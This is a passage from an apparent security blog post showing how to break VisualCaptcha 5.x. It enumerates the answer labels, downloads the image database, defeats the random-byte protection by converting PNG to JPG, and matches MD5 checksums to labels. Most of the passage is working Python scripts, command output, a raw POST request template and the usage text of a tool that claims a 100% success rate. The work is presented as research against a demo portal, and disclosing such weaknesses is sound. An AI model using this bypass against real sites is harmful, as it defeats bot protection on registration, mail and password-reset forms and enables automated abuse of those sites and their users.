session.get(target+\"\/start\/1\")\r\n data = json.loads(response.text)\r\n imagesNames.append(data[\"imageName\"])\r\nsortedImagesNames = sorted(set(imagesNames))\r\nprint \"[*] There are \" + str(len(sortedImagesNames)) + \" responses possible.\"\r\nfor name in sortedImagesNames:\r\n print name + \", \",<\/pre>\n<p>Example output for the demo portal (in English):<\/p>\n<pre># python enum_VisualCaptcha_texts.py\r\n[*] There are 37 responses possible.\r\nAirplane, Balloons, Camera, Car, Cat, Chair, Clip, Clock, Cloud, Computer, Envelope, Eye, Flag, Folder, Foot, Graph, House, Key, Leaf, Light Bulb, Lock, Magnifying Glass, Man, Music Note, Pants, Pencil, Printer, Robot, Scissors, Sunglasses, T-Shirt, Tag, Tree, Truck, Umbrella, Woman, World<\/pre>\n<p>The set of possible answers are now in our possession (increase the number of requests to &#8220;\/start&#8221; to be sure to have all possible answers).<\/p>\n<h2>Recover the entire image database<\/h2>\n<p>The other step after recovery of all possible text responses is to download the entire image database.<\/p>\n<p>If the initialization of the captcha is done via the\u00a0call &#8220;\/start\/5?r=XXXXXXXXXXXX&#8221;, then you will have\u00a05 distinct images accessible through these URLs:<\/p>\n<ul>\n<li>\/image\/<strong>0<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>\/image\/<strong>1<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>\/image\/<strong>2<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>\/image\/<strong>3<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>\/image\/<strong>4<\/strong>?r=XXXXXXXXXXXX<\/li>\n<\/ul>\n<p>The image &#8220;\/image\/<strong>5<\/strong>?r=XXXXXXXXXXXX&#8221; does not exist (404) because the &#8220;\/start&#8221; with the session key &#8220;XXXXXXXXXXXX&#8221; will have been initialized with &#8220;5&#8221;.<\/p>\n<p>We must therefore make a request to &#8220;\/start&#8221; with high image request as 10000. Or more precisely with the exact number of possible images that have been previously determined (37): &#8220;\/start\/37?r=XXXXXXXXXXXX &#8220;. The 37 images are recoverable via URLs:<\/p>\n<ul>\n<li>\/image\/<strong>0<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>\/image\/<strong>1<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>[&#8230;]<\/li>\n<li>\/image\/<strong>35<\/strong>?r=XXXXXXXXXXXX<\/li>\n<li>\/image\/<strong>36<\/strong>?r=XXXXXXXXXXXX<\/li>\n<\/ul>\n<p>Small Python script to download all images in one &#8220;.\/imgPng&#8221; directory previously created (<a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/scripts\/02-download_VisualCaptcha_png_db.py\" target=\"_blank\">available here<\/a>)<\/p>\n<pre>import requests\r\nimport json\r\ntarget = \"http:\/\/demo.visualcaptcha.net\"\r\npathImgDb = \".\/imgPng\"\r\nsession = requests.Session()\r\nresponse = session.get(target+\"\/start\/10000?r=RaNdoMsTrInG\")\r\ndata = json.loads(response.text)\r\nnbImg = len(data[\"values\"])\r\nprint \"[*] There are \" + str(nbImg) + \" pictures in the VisualCaptcha database of [\" + target + \"]\"\r\nfor i in range(0, nbImg):\r\n imgReq = session.get(target+\"\/image\/\" + str(i) + \"?r=RaNdoMsTrInG\")\r\n if imgReq.status_code == 200:\r\n  # Save the current PNG picture\r\n  f = open(pathImgDb + \"\/\" + str(i) + \".png\", 'wb')\r\n  f.write(imgReq.content)\r\n  f.close()\r\n  print \"[+] \" + pathImgDb + \"\/\" + str(i) + \".png download\"<\/pre>\n<p>Let&#8217;s take a look at our directory:<\/p>\n<div id=\"attachment_2075\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2075\" class=\"size-medium wp-image-2075\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha-300x70.png\" alt=\"VisualCaptcha pictures\" width=\"300\" height=\"70\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha-300x70.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha-768x180.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha-1024x240.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha.png 1103w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2075\" class=\"wp-caption-text\">VisualCaptcha pictures<\/p><\/div>\n<p>Perfect ! Time to move on!<\/p>\n<h2>Convert all images form PNG to JPG<\/h2>\n<p>Why this chapter? We have all the bank of images in PNG, so why convert them\u00a0to JPG?<\/p>\n<p>The reason is very simple. April 30, 2014, a &#8220;major&#8221; changes VisualCaptcha emerged. This is discussed on this <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/2\" target=\"_blank\">topic<\/a>. The developers of the solution have added extra random bytes (1 to 50) in the pictures whenever they are displayed (for example &#8220;the printer&#8221;). In other words, all previously downloaded image library is not comparable to any other library of images downloaded again in another folder.<\/p>\n<blockquote><p>&#8220;Compare to what?&#8221;<\/p><\/blockquote>\n<p>The idea is to calculate the checksum (md5sum) of each &#8220;same&#8221; PNG image (always the example of the printer), and due to the addition of this random byte (s) influencing the size of each image, these checksums are all different &#8230;<\/p>\n<p>Example of the printer image recovered 3 times (printer1.png, printer2.png and printer3.png) after multiple page refreshing:<\/p>\n<pre># md5sum printer*.png\r\ne31dead53ece8c2df18cac7518f6b89a \u00a0printer1.png\r\n086676587e026e3e7c8f86831657c0c8 \u00a0printer2.png\r\nfbee80e758f9c3f97f0937ae57376a25 \u00a0printer3.png<\/pre>\n<p>Although these 3 images visually represent identically the same printer, size (files) will vary slightly because of random bytes added by VisualCaptcha &#8230; So the comparison with &#8220;checksum&#8221; is not possible with\u00a0PNG. ..<\/p>\n<p>This new VisualCaptcha protection technique only appeared following this <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/2\" target=\"_blank\">topic<\/a> (<a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha-packagist\/blob\/master\/src\/visualCaptcha\/Captcha.php\" target=\"_blank\">source code here<\/a>). Older versions do not apply these changes, and therefore each &#8220;checksum&#8221; returning the same value.<\/p>\n<pre> \/\/ Create a hex string from random bytes\r\n private function utilRandomHex( $count ) {\r\n return bin2hex( openssl_random_pseudo_bytes( $count ) );\r\n }<\/pre>\n<p style=\"text-align: center;\"><strong>To work around this protection, the idea is to convert each PNG to JPG!<\/strong><\/p>\n<p>The conversion to JPG will change\u00a0the image size (in bytes, not px), delete unnecessary data and reproduce a fully valid JPG file. Certainly the images will lose their transparency and quality but this is not important to break captchas \ud83d\ude42<\/p>\n<p>Python script PNG2JPG:<\/p>\n<pre>import Image\r\nim = Image.open(\"printer1.png\")\r\nim.save(\"printer1.jpg\", \"JPEG\")\r\nim = Image.open(\"printer2.png\")\r\nim.save(\"printer2.jpg\", \"JPEG\")\r\nim = Image.open(\"printer3.png\")\r\nim.save(\"printer3.jpg\", \"JPEG\")<\/pre>\n<p>CheckSums results:<\/p>\n<pre>4b6b62f3be8168abba5ad105eb086fb9 \u00a0printer1.jpg\r\n4b6b62f3be8168abba5ad105eb086fb9 \u00a0printer2.jpg\r\n4b6b62f3be8168abba5ad105eb086fb9 \u00a0printer3.jpg<\/pre>\n<p>This is good! JPEG checksums are identical in our 3 different images in PNG yet!<br \/>\nConvert all images in the folder &#8220;.\/imgPng&#8221; to &#8220;.\/imgJpg&#8221; (<a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/scripts\/03-convert_VisualCaptcha_imgdb_png2jpg.py\" target=\"_blank\">script available here<\/a>)<\/p>\n<pre>import Image\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nimgPngDir = \".\/imgPng\"\r\nimgJpgDir = \".\/imgJpg\"\r\nimgPngFiles = [f for f in listdir(imgPngDir) if isfile(join(imgPngDir, f))]\r\nfor img in imgPngFiles:\r\n if img.endswith(\".png\"):\r\n  im = Image.open(imgPngDir+\"\/\"+img)\r\n  im.save(imgJpgDir + \"\/\" + img + \".jpg\", \"JPEG\")\r\n  print \"[+] Original VisualCaptcha PNG [\" + imgPngDir + \"\/\" + img + \"] converted in JPG here [\" + imgJpgDir + \"\/\" + img + \".jpg]\"<\/pre>\n<p>Check our JPG:<\/p>\n<div id=\"attachment_2076\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha_JPG.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-2076\" class=\"size-medium wp-image-2076\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha_JPG-300x116.png\" alt=\"VisualCaptcha pictures JPG\" width=\"300\" height=\"116\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha_JPG-300x116.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha_JPG-768x298.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha_JPG-1024x397.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/images_VisualCaptcha_JPG.png 1096w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-2076\" class=\"wp-caption-text\">VisualCaptcha pictures JPG<\/p><\/div>\n<p>They have lost some quality and transparency, but they are unique, distinctive and visible (with comparable checksums). That&#8217;s enough for the continuation of our operations!<\/p>\n<h2>Creating the correlation table checksums \/ labels<\/h2>\n<p>We have\u00a0the total number of images, all images in JPG, and all the textual labels that VisualCaptcha offers. Let&#8217;s create the correspondence table (manual task, sorry&#8230;) between each checksum and text label:<\/p>\n<pre># md5sum .\/imgJpg\/*.jpg\r\nc17b70628392f6d696cc1b25f5fb386f .\/imgJpg\/0.png.jpg\r\nc4fe178b16c681fef26860d36410aff4 .\/imgJpg\/10.png.jpg\r\n0b80d90a8eae32c984481cfce01872f4 .\/imgJpg\/11.png.jpg\r\nfcf9b5602694bfd0e3a97036a700affc .\/imgJpg\/12.png.jpg\r\n446bf84f96960d03b4ed97ee4f60fc92 .\/imgJpg\/13.png.jpg\r\n76aea7d6235509a1ce3a04d168434eb8 .\/imgJpg\/14.png.jpg\r\n2a6a41f2f3b204c917fd03ee5a74cc2c .\/imgJpg\/15.png.jpg\r\n8edd4f6aba641a23545e242c4d00baf1 .\/imgJpg\/16.png.jpg\r\n9c4a256697476081b8eb34a05501ef2e .\/imgJpg\/17.png.jpg\r\naa7e561ebc0fba06d30f5ecdb55c0841 .\/imgJpg\/18.png.jpg\r\n943f4c78b35672d6fe2d8d7c7b16c2b2 .\/imgJpg\/19.png.jpg\r\n63c155f036c3a013362c527a055e258b .\/imgJpg\/1.png.jpg\r\n89b833eb55b97c717d9b0d9d12788233 .\/imgJpg\/20.png.jpg\r\n86666417338139368ca43a8963ebced2 .\/imgJpg\/21.png.jpg\r\n72a676cfde643c841232c76f60989090 .\/imgJpg\/22.png.jpg\r\n351eb8558342cdab5bd37c9aa5ed7ee0 .\/imgJpg\/23.png.jpg\r\n456780afb08cdaf562af8d89497bc875 .\/imgJpg\/24.png.jpg\r\n872af7339e75f6cae2313eb28aac9c44 .\/imgJpg\/25.png.jpg\r\nb7ca3af8c38fa6e4f9a0cb5ed89bc493 .\/imgJpg\/26.png.jpg\r\n44561c957ab6ea338bafa9d7a52d9992 .\/imgJpg\/27.png.jpg\r\n4b6b62f3be8168abba5ad105eb086fb9 .\/imgJpg\/28.png.jpg\r\n433cdaaf1e0ca0d8367727f7e7497c12 .\/imgJpg\/29.png.jpg\r\n6b99e64fe2b18c6ec388b8080bcd9947 .\/imgJpg\/2.png.jpg\r\nf5f79595f81967f383fa289e3e682c23 .\/imgJpg\/30.png.jpg\r\n1d42c40b62bf899b25f1cddade543658 .\/imgJpg\/31.png.jpg\r\necad2ea49116b86c4eea21f0cd076e62 .\/imgJpg\/32.png.jpg\r\neaa28a149864637c6d3bb7c58cdae136 .\/imgJpg\/33.png.jpg\r\n287c4df92b339bdedf65cea6fc7977f9 .\/imgJpg\/34.png.jpg\r\n35b1b173e847b202eedac99db3002da9 .\/imgJpg\/35.png.jpg\r\n65b32b9748014155896de24c2ba4a408 .\/imgJpg\/36.png.jpg\r\n93d5e02b511f42936c5d4873f6b064ea .\/imgJpg\/3.png.jpg\r\n39092d7718747b6f0b01cb7282d136bc .\/imgJpg\/4.png.jpg\r\n2739865da34888314752ee72ea97bf76 .\/imgJpg\/5.png.jpg\r\n139da71c5ac0954f668ff1947e73245f .\/imgJpg\/6.png.jpg\r\n6612e4fabfb7219ed0662d3901a50b4a .\/imgJpg\/7.png.jpg\r\n0985b57fb6a40d3142534f5e2c59d7f4 .\/imgJpg\/8.png.jpg\r\n17a86e0825bc56546efa762160af0d19 .\/imgJpg\/9.png.jpg<\/pre>\n<p><a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/scripts\/04-calculate_VisualCaptcha_img_checkSum.py\" target=\"_blank\">Script available here<\/a>.<\/p>\n<p>From all these checksums JPG \/ PNG, it is necessary to produce the dictionary (Python) below. For this you will need to consult each image and manually association with the corresponding text label:<\/p>\n<pre># For newer version of VisualCaptcha 5.x, picture database with 0-50 random bytes added need to be converted from PNG to JPG for right checksum value, so there are JPG and PNG checksum in the next dict.\r\n# Dictionary of key:value with :\r\n# labelEN = textual solution of the captcha in english (you may change these label for your language)\r\n# labelFR = textual solution of the captcha in french (you may change these label for your language)\r\n# md5SumPng = checkSum of the original picture in PNG\r\n# md5SumJpg = checkSum of the picture converted from PNG to JPG (to remove random bytes added by VisualCaptcha)\r\ndicoImg = {}\r\ndicoImg[0] = {\"labelEN\":u\"Airplane\", \"labelFR\":u\"l'avion\", \"md5SumPng\":\"6244aa85ad7e02e7a46544d5deab0225\", \"md5SumJpg\":\"c4fe178b16c681fef26860d36410aff4\"}\r\ndicoImg[1] = {\"labelEN\":u\"Balloons\", \"labelFR\":u\"le ballon\", \"md5SumPng\":\"4c3fbd0824a5f2f3c58069c0416755e7\", \"md5SumJpg\":\"c17b70628392f6d696cc1b25f5fb386f\"}\r\ndicoImg[2] = {\"labelEN\":u\"Camera\", \"labelFR\":u\"la camera\", \"md5SumPng\":\"00ab6b7f0972d5b5d2bef888ab198929\", \"md5SumJpg\":\"fcf9b5602694bfd0e3a97036a700affc\"}\r\ndicoImg[3] = {\"labelEN\":u\"Car\", \"labelFR\":u\"la voiture\", \"md5SumPng\":\"281398645bee48e8c78cf8f650dc830e\", \"md5SumJpg\":\"2a6a41f2f3b204c917fd03ee5a74cc2c\"}\r\ndicoImg[4] = {\"labelEN\":u\"Cat\", \"labelFR\":u\"le chat\", \"md5SumPng\":\"e3f67527bdff4b14a8297bb61e6b3c6a\", \"md5SumJpg\":\"89b833eb55b97c717d9b0d9d12788233\"}\r\ndicoImg[5] = {\"labelEN\":u\"Chair\", \"labelFR\":u\"la chaise\", \"md5SumPng\":\"6a385164d1f36e6c2e137c1fc11569bc\", \"md5SumJpg\":\"456780afb08cdaf562af8d89497bc875\"}\r\ndicoImg[6] = {\"labelEN\":u\"Clip\", \"labelFR\":u\"le trombone\", \"md5SumPng\":\"99be7138303ce797139a56c78e1b0143\", \"md5SumJpg\":\"aa7e561ebc0fba06d30f5ecdb55c0841\"}\r\ndicoImg[7] = {\"labelEN\":u\"Clock\", \"labelFR\":u\"l'horloge\", \"md5SumPng\":\"4039b8c0aa05f2c35402da5842e2a37c\", \"md5SumJpg\":\"6612e4fabfb7219ed0662d3901a50b4a\"}\r\ndicoImg[8] = {\"labelEN\":u\"Cloud\", \"labelFR\":u\"le nuage\", \"md5SumPng\":\"f25649f668fcc7ac37272ed5b6297087\", \"md5SumJpg\":\"76aea7d6235509a1ce3a04d168434eb8\"}\r\ndicoImg[9] = {\"labelEN\":u\"Computer\", \"labelFR\":u\"l'ordinateur\", \"md5SumPng\":\"a4672d1d019615d061e40ee2c93ee625\", \"md5SumJpg\":\"943f4c78b35672d6fe2d8d7c7b16c2b2\"}\r\n[...]<\/pre>\n<p>Our dictionary is ready (see this <a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/latest\/VisualCaptchaBreaker-latest.py\" target=\"_blank\">script<\/a>)! Just go\u00a0to cracking \/ breaking VisualCaptcha.<\/p>\n<h2>Breaking\u00a0captchas !<\/h2>\n<p>How the process will be done? You have a form (sending mail, registration, password reset, etc.) protected with VisualCaptcha. You collected all the labels, all images converted into JPG, and created the lookup table.<\/p>\n<p>Now, you have to produce the form submission POST request (in the example, that of &#8220;demo.visualcaptcha.net&#8221;) with the correct POST variable name and good POST\u00a0value.<\/p>\n<p>Well, the last script presented here will automate this. The idea will be to:<\/p>\n<ol>\n<li>To query &#8220;\/start&#8221; with a small number (to have less choice of images possible) and keep all JSON parameters, including &#8220;imageName&#8221;, &#8220;values&#8221; and &#8220;imageFieldName&#8221;.<\/li>\n<li>Download (always automatically via script) PNG images (4 or 2 depending on your version of VisualCaptcha) associated with the &#8220;current session captcha&#8221;.<\/li>\n<li>Convert each image downloaded in JPG (in memory, files not created locally)<\/li>\n<li>Calculate the MD5 checksum of each PNG images and those converted to JPG<\/li>\n<li>Search in the dictionary of key-value each md5sum of 4 images<\/li>\n<li>Compare these values from the dictionary with &#8220;imageName&#8221;<\/li>\n<li>If a value matches, then submit the form with POST for validating the captcha imageFieldName = values [N] where N is the corresponding picture!<\/li>\n<\/ol>\n<p>We put all this in a script, and test directly on the demo portal &#8220;demo.visualcaptcha.net&#8221;. As a reminder, according to the captcha submited, the &#8220;\/try&#8221; endpoint makes\u00a0a 302 redirect to:<\/p>\n<ul>\n<li>Location: \/?status=<span style=\"color: #ff0000;\"><strong>failedImage<\/strong> <\/span>(invalid captcha checked on server side)<\/li>\n<li>Location: \/?status=<span style=\"color: #339966;\"><strong>validImage<\/strong><\/span>\u00a0(valid captcha checked on server side))<\/li>\n<\/ul>\n<p>To make this script VisualCaptchaBreaker as possible generic, the idea was to pass an HTTP request in raw format in the script input, changing the field that the script should automatically replaced with the values of captcha broken.<\/p>\n<p>So (via Burp for example), record the final query in a text file and change the name \/ value captcha by the variables &#8220;%VISUALCAPTCHANAME%&#8221; and &#8220;%VISUALCAPTCHAVALUE%&#8221;:<\/p>\n<pre>POST \/try HTTP\/1.1\r\nHost: demo.visualcaptcha.net\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko\/20100101 Firefox\/46.0\r\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\r\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nReferer: http:\/\/demo.visualcaptcha.net\/\r\nCookie: PHPSESSID=MySeSsIoNIdCuStOm\r\nConnection: close\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 52\r\n\r\n%VISUALCAPTCHANAME%=%VISUALCAPTCHAVALUE%&amp;submit-bt=<\/pre>\n<p><a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/sample\/DEMO_POST_demo.visualcaptcha.net.txt\" target=\"_blank\">This example<\/a> use standard POST data, another example with\u00a0<a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/sample\/DEMO_POST-MULTIPART-FORMDATA_VC.txt\" target=\"_blank\">POST multipart\/form-data<\/a>\u00a0is here.<\/p>\n<p>Download\u00a0the latest VisualCaptchaBreaker, and run the script:<\/p>\n<p style=\"text-align: center;\"><strong><a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\/blob\/master\/latest\/VisualCaptchaBreaker-latest.py\" target=\"_blank\">[ Download Script Python final VisualCaptchaBreaker-latest.py ]<\/a><\/strong><\/p>\n<pre>$ python VisualCaptchaBreaker-latest.py -h\r\n\r\n __      ___                 _  _____            _       _\r\n <span class=\"pl-cce\">\\ \\ <\/span>   \/ (_)               <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>\/ ____<span class=\"pl-k\">|<\/span>          <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>     <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>\r\n  <span class=\"pl-cce\">\\ \\ <\/span> \/ \/ _ ___ _   _  __ _<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>     __ _ _ __ <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>_ ___<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>__   __ _\r\n   <span class=\"pl-cce\">\\ \\\/<\/span> \/ <span class=\"pl-k\">|<\/span> \/ __<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>\/ _<span class=\"pl-s\"><span class=\"pl-pds\">`<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>    \/ _<span class=\"pl-pds\">`<\/span><\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-s\"><span class=\"pl-pds\">'<\/span>_ \\| __\/ __| <span class=\"pl-pds\">'<\/span><\/span>_ <span class=\"pl-cce\">\\ <\/span>\/ _<span class=\"pl-s\"><span class=\"pl-pds\">`<\/span> <span class=\"pl-k\">|<\/span><\/span>\r\n<span class=\"pl-s\">    <span class=\"pl-cce\">\\ <\/span> \/  <span class=\"pl-k\">|<\/span> <span class=\"pl-cce\">\\_<\/span>_ <span class=\"pl-cce\">\\ <\/span><span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> (_<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>___<span class=\"pl-k\">|<\/span> (_<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>_) <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">||<\/span> (__<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> (_<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span><\/span>\r\n<span class=\"pl-s\">     <span class=\"pl-cce\">\\\/<\/span>   <span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span>___\/<span class=\"pl-cce\">\\_<\/span>_,_<span class=\"pl-k\">|<\/span><span class=\"pl-cce\">\\_<\/span>_,_<span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span><span class=\"pl-cce\">\\_<\/span>____<span class=\"pl-cce\">\\_<\/span>_,_<span class=\"pl-k\">|<\/span> .__\/ <span class=\"pl-cce\">\\_<\/span>_<span class=\"pl-cce\">\\_<\/span>__<span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span><span class=\"pl-cce\">\\_<\/span>_,_<span class=\"pl-k\">|<\/span><\/span>\r\n<span class=\"pl-s\">               <span class=\"pl-k\">|<\/span>  _ <span class=\"pl-cce\">\\ <\/span>              <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>   <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span><\/span>\r\n<span class=\"pl-s\">               <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>_) <span class=\"pl-k\">|<\/span>_ __ ___  __ _<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> __<span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span> _ __<\/span>\r\n<span class=\"pl-s\">               <span class=\"pl-k\">|<\/span>  _ <span class=\"pl-k\">&lt;<\/span><span class=\"pl-k\">|<\/span> <span class=\"pl-pds\">'<\/span>__\/ _ \\\/ _` | |\/ \/ _ \\ <span class=\"pl-pds\">'<\/span>__<span class=\"pl-k\">|<\/span><\/span>\r\n<span class=\"pl-s\">               <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>_) <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>  __\/ (_<span class=\"pl-k\">|<\/span> <span class=\"pl-k\">|<\/span>   <span class=\"pl-k\">&lt;<\/span>  __\/ <span class=\"pl-k\">|<\/span><\/span>\r\n<span class=\"pl-s\">               <span class=\"pl-k\">|<\/span>____\/<span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span>  <span class=\"pl-cce\">\\_<\/span>__<span class=\"pl-k\">|<\/span><span class=\"pl-cce\">\\_<\/span>_,_<span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span><span class=\"pl-cce\">\\_\\_<\/span>__<span class=\"pl-k\">|<\/span>_<span class=\"pl-k\">|<\/span><\/span>\r\n\r\n<span class=\"pl-s\">Title:                  VisualCaptchaBreaker.py  Version: 1.0.0<\/span>\r\n<span class=\"pl-s\">Author:                 Yann CAM<\/span>\r\n<span class=\"pl-s\">Website:                www.asafety.fr<\/span>\r\n<span class=\"pl-s\">Source:                 github.com\/yanncam\/VisualCaptchaBreaker<\/span>\r\n<span class=\"pl-s\">Description:            Breaking any VisualCaptcha 5.x with 100% success rate<\/span>\r\n<span class=\"pl-s\">-----------------------------------------------------------------------------<\/span>\r\n\r\n<span class=\"pl-s\">usage: VisualCaptchaBreaker-latest.py [OPTIONS]<\/span>\r\n\r\n<span class=\"pl-s\">Breaking any VisualCaptcha 5.x with 100% success rate <span class=\"pl-c1\">:<\/span><\/span>\r\n<span class=\"pl-s\">        eg: python VisualCaptchaBreaker-latest.py -f TARGET_REQUEST.txt<\/span>\r\n<span class=\"pl-s\">        eg: python VisualCaptchaBreaker-latest.py -d TARGET_DIRECTORY<\/span>\r\n<span class=\"pl-s\">        eg: python VisualCaptchaBreaker-latest.py -f TARGET_REQUEST.txt -p <span class=\"pl-pds\">\"<\/span>127.0.0.1:8080<span class=\"pl-pds\">\"<\/span> -n 10<\/span>\r\n<span class=\"pl-s\">        eg: python VisualCaptchaBreaker-latest.py -f TARGET_REQUEST.txt -s <span class=\"pl-pds\">\"<\/span>\/visualCaptcha-PHP\/public\/start<span class=\"pl-pds\">\"<\/span> -i <span class=\"pl-pds\">\"<\/span>\/visualCaptcha-PHP\/public\/image<span class=\"pl-pds\">\"<\/span> -n 10 -c -v --https<\/span>\r\n\r\n<span class=\"pl-s\">TARGET_REQUEST.txt sample raw request file (to demo.visualcaptcha.net) <span class=\"pl-c1\">:<\/span><\/span>\r\n<span class=\"pl-s\">        POST \/try HTTP\/1.1<\/span>\r\n<span class=\"pl-s\">        Host: demo.visualcaptcha.net<\/span>\r\n<span class=\"pl-s\">        User-Agent: Mozilla\/5.0 (Windows NT 10.0<span class=\"pl-k\">;<\/span> WOW64<span class=\"pl-k\">;<\/span> rv:46.0) Gecko\/20100101 Firefox\/46.0<\/span>\r\n<span class=\"pl-s\">        Referer: http:\/\/demo.visualcaptcha.net\/<\/span>\r\n<span class=\"pl-s\">        Cookie: PHPSESSID=MyFaKeSeSsIoNiD<\/span>\r\n<span class=\"pl-s\">        Content-Type: application\/x-www-form-urlencoded<\/span>\r\n<span class=\"pl-s\">        Content-Length: 52<\/span>\r\n\r\n<span class=\"pl-s\">        %VISUALCAPTCHANAME%=%VISUALCAPTCHAVALUE%<span class=\"pl-k\">&amp;<\/span>submit-bt=<\/span>\r\n\r\n<span class=\"pl-s\">optional arguments:<\/span>\r\n<span class=\"pl-s\">  -h, --help            show this <span class=\"pl-c1\">help<\/span> message and <span class=\"pl-c1\">exit<\/span><\/span>\r\n<span class=\"pl-s\">  -n NUMBER, --number NUMBER<\/span>\r\n<span class=\"pl-s\">                        Number of request(s) to make (default: 1)<\/span>\r\n<span class=\"pl-s\">  -s STARTPATH, --startPath STARTPATH<\/span>\r\n<span class=\"pl-s\">                        VisualCaptcha initialization path (default: \/start)<\/span>\r\n<span class=\"pl-s\">  -i IMAGEPATH, --imagePath IMAGEPATH<\/span>\r\n<span class=\"pl-s\">                        VisualCaptcha image path (default: \/image)<\/span>\r\n<span class=\"pl-s\">  -c, --cookie          Use cookie defined <span class=\"pl-k\">in<\/span> raw HTTP file(s)<\/span>\r\n<span class=\"pl-s\">  -f FILES [FILES ...], --files FILES [FILES ...]<\/span>\r\n<span class=\"pl-s\">                        Files containing raw HTTP requests with %VISUALCAPTCHANAME% and %VISUALCAPTCHAVALUE% as POST param<\/span>\r\n<span class=\"pl-s\">  -d DIRECTORY, --directory DIRECTORY<\/span>\r\n<span class=\"pl-s\">                        Directory containing raw HTTP requests <span class=\"pl-k\">in<\/span> files with %VISUALCAPTCHANAME% and %VISUALCAPTCHAVALUE% as POST param<\/span>\r\n<span class=\"pl-s\">  -p PROXY, --proxy PROXY<\/span>\r\n<span class=\"pl-s\">                        HTTP Proxy to send requests via. (Burp eg: 127.0.0.1:8080)<\/span>\r\n<span class=\"pl-s\">  --https               Use HTTPS<\/span>\r\n<span class=\"pl-s\">  -v, --verbose         Debug logging<\/span><\/pre>\n<p>An example of running 10 queries with 100% breaking success of VisualCaptcha on the demo portal, video:<\/p>\n<p><iframe loading=\"lazy\" width=\"600\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/fkfeDQqXNdk?feature=oembed\" frameborder=\"0\" 